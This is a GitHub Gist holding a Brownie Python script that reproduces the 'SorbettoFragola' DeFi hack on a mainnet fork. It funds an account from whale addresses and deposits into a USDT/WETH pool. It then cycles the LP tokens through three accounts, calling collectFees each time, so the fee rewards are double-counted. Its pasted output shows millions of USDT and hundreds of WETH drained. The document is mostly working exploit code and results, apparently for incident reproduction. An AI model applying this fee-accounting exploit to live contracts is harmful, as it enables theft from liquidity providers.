Created
August 4, 2021 04:22
-
-
Save poolpitako/294fbcff707a43ae9b6474e96f5c321c to your computer and use it in GitHub Desktop.
SorbettoFragola hack Brownie's repro script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def repro_hack(): | |
# Forked on block 12955061 | |
weth = Contract("0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2") | |
usdt = Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7") | |
usdt_weth_plp = Contract("0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48") | |
weth_whale = accounts.at("0x2fEb1512183545f48f6b9C5b4EbfCaF49CfCa6F3", force=True) | |
usdt_whale = accounts.at("0x5754284f345afc66a98fbB0a0Afe71e0F007B949", force=True) | |
a = accounts[0] | |
b = accounts[1] | |
c = accounts[2] | |
# Fund account A | |
usdt.transfer(a, 30_000_000 * 1e6, {"from": usdt_whale}) | |
weth.transfer(a, Wei("13_000 ether"), {"from": weth_whale}) | |
# Approve tokens | |
weth.approve(usdt_weth_plp, 2**256-1, {"from": a}) | |
usdt.approve(usdt_weth_plp, 2**256-1, {"from": a}) | |
# Get the LP | |
usdt_weth_plp.deposit(weth.balanceOf(a), usdt.balanceOf(a), {"from": a}) | |
assert usdt_weth_plp.balanceOf(a) > Wei("10.52 ether") | |
# A -> B | |
usdt_weth_plp.transfer(b, usdt_weth_plp.balanceOf(a), {"from": a}) | |
usdt_weth_plp.collectFees(0, 0, {"from": b}) | |
# B -> C | |
usdt_weth_plp.transfer(c, usdt_weth_plp.balanceOf(b), {"from": b}) | |
usdt_weth_plp.collectFees(0, 0, {"from": c}) | |
# C -> A | |
usdt_weth_plp.transfer(a, usdt_weth_plp.balanceOf(c), {"from": c}) | |
# Withdraw from the original position | |
usdt_weth_plp.withdraw(usdt_weth_plp.balanceOf(a), {"from": a}) | |
print(f"A usdt balance: {usdt.balanceOf(a)/1e6:_}") | |
print(f"A weth balance: {weth.balanceOf(a)/1e18:_}") | |
# Collect fees from B | |
print(f"B collecting fees with token0: {usdt_weth_plp.userInfo(b).dict()['token0Rewards']} and token1: {usdt_weth_plp.userInfo(b).dict()['token1Rewards']}") | |
usdt_weth_plp.collectFees(usdt_weth_plp.userInfo(b).dict()['token0Rewards'], usdt_weth_plp.userInfo(b).dict()['token1Rewards'], {"from": b}) | |
print(f"B usdt balance: {usdt.balanceOf(b)/1e6:_}") | |
print(f"B weth balance: {weth.balanceOf(b)/1e18:_}") | |
# Collect fees from C | |
print(f"C collecting fees with token0: {usdt_weth_plp.userInfo(c).dict()['token0Rewards']} and token1: {usdt_weth_plp.userInfo(c).dict()['token1Rewards']}") | |
usdt_weth_plp.collectFees(usdt_weth_plp.userInfo(c).dict()['token0Rewards'], usdt_weth_plp.userInfo(c).dict()['token1Rewards'], {"from": c}) | |
# Run a final collect fees from C to get the weth remainder | |
usdt_weth_plp.collectFees(weth.balanceOf(usdt_weth_plp), 1, {"from": c}) | |
print(f"C usdt balance: {usdt.balanceOf(c)/1e6:_}") | |
print(f"C weth balance: {weth.balanceOf(c)/1e18:_}") | |
# OUTPUT IS | |
# | |
# A usdt balance: 29_999_999.999999 | |
# A weth balance: 13_000.0 | |
# | |
# B collecting fees with token0: 957182808388617756829 and token1: 2153268895539 | |
# B usdt balance: 2_153_268.895538 | |
# B weth balance: 392.1055865145891 | |
# | |
# C collecting fees with token0: 957182808388617756829 and token1: 2153268895539 | |
# C usdt balance: 2_153_268.895539 | |
# C weth balance: 402.5540310586468 | |
# |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment